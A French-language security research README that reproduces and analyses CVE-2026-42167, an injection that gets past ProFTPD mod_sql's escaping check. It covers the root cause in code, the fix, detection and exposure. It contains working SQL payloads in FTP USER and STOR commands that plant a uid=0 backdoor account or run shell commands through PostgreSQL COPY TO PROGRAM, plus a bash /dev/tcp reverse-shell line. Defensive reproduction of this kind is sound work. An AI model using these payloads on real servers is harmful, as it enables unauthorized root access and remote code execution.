
Reproduction indépendante, analyse de cause racine au niveau du code et rapport d'exposition réaliste pour CVE-2026-42167 (contournement de is_escaped_text() dans mod_sql de ProFTPD).
mod_sqlReproduction indépendante, analyse détaillée de la cause racine au niveau du code, et analyse franche de l'exposition pour CVE-2026-42167 — le contournement de is_escaped_text() dans le pipeline de journalisation mod_sql de ProFTPD, divulgué par ZeroPath Research et corrigé dans ProFTPD 1.3.9a / 1.3.10rc1.
Construit et vérifié de bout en bout dans Docker sur macOS / Apple Silicon, le 2026-04-29.
TL;DR — voir Conclusion pour une image réaliste de l'exposition avant de décider à quel point s'inquiéter. Ce n'est pas un bug d'installation par défaut, mais le modèle de citation dangereux est le modèle que la documentation officielle vous dit d'utiliser, donc une grande partie des déploiements
mod_sqlen héritent.
| Champ | Valeur |
|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (Injection SQL), CWE-78 (Injection de commandes OS — via PG COPY TO PROGRAM) |
| Affecté | ProFTPD ≤ 1.3.9 avec mod_sql + SQLLog/SQLNamedQuery dont la chaîne de format interpole une variable contrôlée par l'attaquant entre guillemets simples |
| Corrigé dans | 1.3.9a (af90843ba…) / 1.3.10rc1, voir le commit e6f728481 ("Issue #2052") |
| Commit vulnérable épinglé | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| Fichier vulnérable | contrib/mod_sql.c lignes 741–758 (is_escaped_text) et ligne 777 (sql_resolved_append_text) |
| Divulgation originale | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| PoC public | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| Notes de version | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
is_escaped_text() dans contrib/mod_sql.cmod_sql résout les variables de format de journalisation (%U, %{basename}, etc.) et
ajoute chaque élément dans le SQL rendu via sql_resolved_append_text().
Pour préserver la compatibilité ascendante avec les configurations admin qui enveloppent déjà
les variables dans '…', la fonction appelle is_escaped_text() pour décider
si sql_escapestring est nécessaire :```c
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != ''') return FALSE;
745 if (text[text_len-1] != ''') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == ''') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… / …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
Le contrôle est purement structurel — il ne peut pas distinguer *« déjà échappé par
un code de confiance »* de *« conçu par un attaquant pour sembler déjà échappé ».*
Toute valeur fournie par le client correspondant à `'<no-internal-quotes>'` contourne
`sql_escapestring` et est concaténée brute dans la requête finale.
La configuration standard et documentée encapsule `%U` / `%{basename}` / `%m` entre guillemets simples :```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
Quand l'attaquant envoie USER '<payload>' (guillemet ouvrant et fermant, sans
guillemets internes), le résolveur substitue %U sans échappement, produisant
''<payload>'' dans le SQL — les littéraux de chaîne vides ferment les
guillemets environnants et <payload> s'exécute comme SQL brut. Avec PostgreSQL
(PQexec) et SQLite (sqlite3_exec), les requêtes empilées sont prises en charge, donc
<payload> peut être n'importe quelle séquence d'instructions.
Comme SQLLog ERR_* se déclenche sur les connexions échouées et que %U est défini à partir de
USER avant l'authentification, l'attaque est entièrement non authentifiée.
e6f728481, "Issue #2052")sql_resolved_append_text() gagne un paramètre already_escaped. Les appelants
qui résolvent des valeurs provenant de l'entrée client passent FALSE et passent désormais par
sql_escapestring sans condition — l'heuristique is_escaped_text() est
toujours appliquée pour le chemin légitime « la config contient une valeur pré-échappée » mais
ne s'applique plus aux données contrôlées par l'attaquant.
+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+
- Les deux conteneurs se lancent via `setup/docker-compose.yml`.
- `setup/proftpd.conf` active la configuration de journalisation vulnérable (voir §1).
- `setup/seed.sql` crée `users`, `groups`, `activity_log`, `xfer_log`,
et `secrets`, ainsi qu'un unique utilisateur FTP légitime `ftpuser / ftppass`.
---
## 3. Reproduction — copier-coller
Prérequis : Docker Desktop, Python 3.10+, git. (`uv` est facultatif ; les
PoC n'utilisent que la bibliothèque standard.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
Les deux variantes interactives du dépôt en amont
(preauth_user_rce.py, postauth_stor_rce.py) sont non modifiées et ouvrent
un reverse shell basé sur un PTY. Elles utilisent la même primitive que la
variante marqueur — il suffit de remplacer la commande shell par bash -i >& /dev/tcp/<host>/<port> 0>&1 et d'écouter sur <port> au préalable.
USER, %U)```USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x
Pourquoi cela fonctionne :
1. Les **guillemets externes + absence de guillemets internes** correspondent à
`is_escaped_text()` → l'échappement est ignoré.
2. Le `SQLNamedQuery` configuré est `INSERT "'%U', '%r', '%m'" activity_log`,
donc le SQL rendu devient
`INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` — mais
`<payload>` commence lui-même par `'`, donc la requête effective est
`INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`.
3. `--` commente les emplacements de format de fin.
4. Le dollar-quoting PostgreSQL `$$…$$` nous permet de passer des chaînes (`backdoor`,
`pwned123`, `/`, `/bin/bash`) sans jamais utiliser `'` — préservant ainsi la
contournement de `is_escaped_text()`.
5. `SQLLog ERR_*` se déclenche lors de l'échec de connexion → `PQexec()` exécute l'
`INSERT INTO users` empilé → le compte backdoor existe dans la table d'authentification.
### Backdoor post-authentification (nom de fichier `STOR`, `%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'
Même contournement, déclencheur différent. chr(47) = '/' est utilisé car
/ dans un nom de fichier est interprété comme un séparateur de répertoire par FTP, donc
l'attaquant ne peut pas mettre un / littéral dans le nom de fichier — chr() permet au
compte backdoor d'obtenir homedir = '/' sans en envoyer un sur le fil.
USER + COPY TO PROGRAM)```USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x
Où `<shell-cmd>` est n'importe quelle commande. PostgreSQL l'exécute via `/bin/sh`
sur l'hôte de la **base de données** en tant qu'utilisateur OS `postgres`. Nécessite que le rôle DB
utilisé par `mod_sql` soit un superutilisateur (ou membre de
`pg_execute_server_program`) — courant dans les déploiements mono-tenant et
par défaut pour l'image Docker officielle `postgres` lorsque le rôle est
créé via `POSTGRES_USER`.
---
## 5. Preuves capturées lors de la reproduction
| Fichier | Ce qu'il montre |
|---|---|
| `logs/01_preauth_backdoor.log` | Sortie du PoC pré-authentification, connexion en tant que `backdoor` réussie (`230`) |
| `logs/02_db_users_after.log` | La table `users` contient désormais `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | Sortie du PoC post-authentification via STOR `%{basename}` |
| `logs/05_preauth_rce_marker.log` | Payload marqueur envoyé via FTP |
| `logs/06_users_final.log` | État final de la table `users` |
| `logs/07_proftpd_trace.log` | Journal de trace de ProFTPD affichant `text '…' is already escaped, skipping escaping it again` pour chaque payload injecté — preuve directe que `is_escaped_text()` renvoie TRUE sur une entrée attaquant |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` écrit *par l'utilisateur postgres* sur le conteneur postgres |
| `screenshots/*.png` | Rendu PNG de chaque session terminale capturée |
La ligne du journal de trace est la preuve irréfutable :```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
is already escaped, skipping escaping it again
Ce message est émis dans contrib/mod_sql.c:791 uniquement lorsque
is_escaped_text() renvoie TRUE — c'est-à-dire exactement la contournement.
Détection (forensique sur un serveur déployé) :
grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log
avec Trace sql:17 activé signale chaque tentative d'injection ayant atteint la
contournement.activity_log (ou toute table dans laquelle SQLNamedQuery INSERT écrit) :
les lignes où la colonne du nom d'utilisateur commence par une guillemet parasite, contient null, null);, ou contient INSERT/COPY TO PROGRAM/UPDATE sont des preuves.users pour les comptes avec uid=0, homedir='/', ou un shell
défini sur un vrai shell lorsque la politique est d'utiliser /sbin/nologin.Atténuation :
e6f728481).SQLNamedQuery (remplacez '%U'
par le %U plus sûr uniquement dans les backends paramétrés, ou utilisez une journalisation
basée sur des fichiers en texte brut pour les échecs de connexion).mod_sql n'est pas un
superutilisateur — cela seul supprime le chemin RCE COPY TO PROGRAM (la
contournement d'authentification via INSERT INTO users empilé fonctionne toujours, mais le rayon
d'explosion est contenu à la base de données proftpd).. ├── README.md # this file ├── poc/ # ZeroPath PoC, cloned │ ├── README.md │ ├── pocs/ │ │ ├── preauth_user_backdoor.py │ │ ├── preauth_user_rce.py │ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof │ │ ├── postauth_stor_backdoor.py │ │ └── postauth_stor_rce.py │ └── setup/ │ ├── docker-compose.yml │ ├── Dockerfile.proftpd │ ├── proftpd.conf │ ├── seed.sql │ ├── setup.sh │ └── teardown.sh ├── logs/ # raw terminal output captured during reproduction └── screenshots/ # PNG renders of each log ├── 00_overview.png ├── 01_preauth_backdoor.png ├── 02_db_users_after.png ├── 03_postauth_stor_backdoor.png ├── 04_preauth_rce_marker.png ├── 05_rce_proof.png ├── 06_proftpd_trace.png └── 07_users_final.png
## 8. Est-ce réaliste — ou un cas limite artificiel ?
La réponse honnête : **plus étroit qu'un ver « envoyer un paquet et posséder le serveur », mais le schéma vulnérable figure dans la propre documentation de ProFTPD, donc ce n'est pas artificiel.** Trois dimensions indépendantes déterminent si un déploiement donné est touché, et chacune réduit la population.
### 8.1 `mod_sql` est-il même chargé ?
`mod_sql` est optionnel. Il n'est **pas** dans la compilation par défaut de ProFTPD ni dans la configuration par défaut des paquets de distribution comme `proftpd-basic` de Debian. Vous ne l'avez que si :
- Vous avez compilé avec `--with-modules=mod_sql:mod_sql_<backend>`, ou
- Vous avez installé un paquet spécifique au backend : Debian `proftpd-mod-pgsql` / `proftpd-mod-mysql` / `proftpd-mod-sqlite`, RHEL `proftpd-postgresql` / `proftpd-mysql`.
Les gens installent ces paquets pour une raison claire : l'**authentification** basée sur SQL (des utilisateurs dans une base de données au lieu de `/etc/passwd`) ou la **journalisation d'activité** basée sur SQL pour l'audit. Les deux sont courantes dans les déploiements d'hébergement mutualisé, de FTP géré et de dépôts FTP d'entreprise. Donc `mod_sql` représente une part réelle de la base installée — juste pas « chaque serveur ».
### 8.2 Le schéma vulnérable `SQLNamedQuery` est-il réellement utilisé ?
C'est là que le réalisme est le plus élevé. Le schéma qui déclenche le bug *est celui documenté.* Des exemples extraits directement de l'arborescence en amont au commit vulnérable épinglé :```
# doc/contrib/mod_sql.html ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog RETR,STOR insertfileinfo
# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
(user, client_ip, server_ip, protocol, when)
VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog PASS log_sess IGNORE_ERRORS
# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog STOR upload
Chaque élément encapsule une variable contrôlée par l'attaquant (%u, %r) entre guillemets simples — exactement la forme que is_escaped_text() classe à tort comme sûre. Un administrateur qui copie-colle depuis la documentation officielle hérite du schéma vulnérable. C'est la raison principale de prendre cela au sérieux.
Le chemin entièrement non authentifié (USER + %U + SQLLog ERR_*) est le cas le plus restreint. Il nécessite les trois éléments suivants :
SQLNamedQuery interpolant %U (nom d'utilisateur d'origine, défini même en cas d'échec de connexion) entre guillemets simples — moins courant que %u dans les configurations réelles, car la plupart des administrateurs veulent le nom d'utilisateur réussi pour l'audit et utilisent %u.SQLLog qui se déclenche avant l'authentification. SQLLog ERR_* est le joker canonique pour cela. SQLLog PASS … et SQLLog STOR … (les formes les plus courantes) ne le font pas.Si la configuration utilise %u plutôt que %U, le même bug produit toujours un contournement d'authentification — mais uniquement post-authentification, c'est-à-dire que l'attaquant a d'abord besoin de n'importe quelles identifiants valides avant de pouvoir planter une porte dérobée uid=0. Dans la plupart des configurations réelles, c'est l'exposition réaliste : utilisateur FTP à faibles privilèges → utilisateur FTP équivalent root via un seul téléversement.
Le contournement se déclenche à l'identique sur chaque backend, mais ce que l'attaquant peut faire diffère nettement :
| Backend | Requêtes empilées ? | Contournement d'auth via INSERT INTO users | RCE sur l'hôte de la base |
|---|---|---|---|
| PostgreSQL | Oui (PQexec) | Fonctionne | Oui via COPY TO PROGRAM si le rôle de la base est superutilisateur |
| SQLite | Oui (sqlite3_exec) | Fonctionne (et le worker FTP a souvent PRIVS_ROOT — encore pire) | Pas d'équivalent direct, mais table users inscriptible → connexion FTP root |
| MySQL | Non — mysql_real_query sans CLIENT_MULTI_STATEMENTS | Impossible d'ajouter une seconde instruction ; se réduit à une sous-requête à instruction unique / SQLi aveugle pour l'exfiltration de données uniquement | Non |
PostgreSQL ou SQLite ⇒ impact complet. MySQL ⇒ fuite de données / aveugle basé sur le temps uniquement. MySQL est de loin le backend le plus courant pour l'hébergement mutualisé (cPanel, Plesk, ISPConfig utilisent tous MySQL par défaut) ; PostgreSQL est plus courant dans les builds d'entreprise personnalisés. Les deux populations sont non négligeables.
La RCE phare COPY TO PROGRAM nécessite en outre que le rôle PostgreSQL mod_sql soit un superutilisateur (ou membre de pg_execute_server_program). C'est-à-dire :
POSTGRES_USER de l'image Docker officielle postgres (le défaut pour la plupart des laboratoires de PoC et de nombreuses images d'appliance, y compris le setup/ de ce dépôt).Si le rôle n'est pas superutilisateur, vous obtenez toujours la primitive de contournement d'authentification (déjà critique en soi), mais la RCE au niveau du système d'exploitation sur l'hôte de la base disparaît.
ProFTPD installs └── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's │ the documented form) │ ├── PostgreSQL backend │ │ ├── DB role = superuser → pre-/post-auth RCE on DB host │ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass) │ ├── SQLite backend → post-auth root FTP backdoor │ │ (worker often runs as root → very bad) │ └── MySQL backend → post-auth blind SQLi / data exfil only └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon) → fully pre-auth versions of the above
---
## 10. Recommandation
Pour toute personne exécutant ProFTPD `mod_sql` :
- **Mettez à niveau** vers ≥ 1.3.9a dans tous les cas. C'est la seule correction complète.
- **Contrôles compensatoires** en attendant de pouvoir appliquer le correctif :
- Rétrogradez le rôle de la base de données à **non-superutilisateur** — cela neutralise la branche RCE sur PostgreSQL.
- Auditez votre table `users` / d'authentification pour détecter des lignes `uid=0` orphelines ou des comptes récemment ajoutés — voir §6.
- Activez `Trace sql:17` et recherchez
`is already escaped, skipping escaping it again` dans `trace.log` — cette
ligne est une preuve directe d'une tentative de contournement.
- Si possible, supprimez les directives `SQLLog ERR_*` et tout
format `SQLNamedQuery INSERT` qui interpolent `%U` (la primitive
pré-authentification). Le chemin post-authentification existera toujours via `%u` /
`%{basename}`, mais vous éliminez le pire des cas.
---
## 11. En résumé
- Ce n'est **pas** une « vulnérabilité d'installation par défaut » — vous devez
exécuter `mod_sql`.
- C'est **bien** une « vulnérabilité liée au suivi de la documentation » — le modèle
de citation dangereux est celui officiel, copié-collé dans les HOWTO en amont.
- Le scénario **totalement non authentifié** du titre est réel mais
nécessite une combinaison de configuration spécifique (pré-auth `%U` + `SQLLog ERR_*` générique)
moins courante que le chemin post-authentification.
- Le scénario d'**élévation de privilèges post-authentification** (tout utilisateur FTP → backdoor FTP uid=0)
est de loin le plus réaliste et s'applique à une grande
partie des déploiements `mod_sql` + PostgreSQL/SQLite utilisant les
modèles de journalisation documentés.
- La **RCE au niveau du système d'exploitation sur l'hôte de la base de données** dépend du rôle de la base de données étant un
superutilisateur — courant dans les configurations mono-tenant / de type appliance, moins
courant dans les environnements gérés par un DBA.
---
## Crédits
- Vulnérabilité découverte et initialement divulguée par
[ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce).
- Dépôt PoC public :
[ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc).
- Correctif par TJ Saunders, commit
[`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)
(« Issue #2052 »).
Ce dépôt est une reproduction et une analyse indépendantes à des fins de
recherche défensive et d'éducation. Aucun 0-day. Utilisez-le uniquement sur des systèmes que vous êtes autorisé
à tester.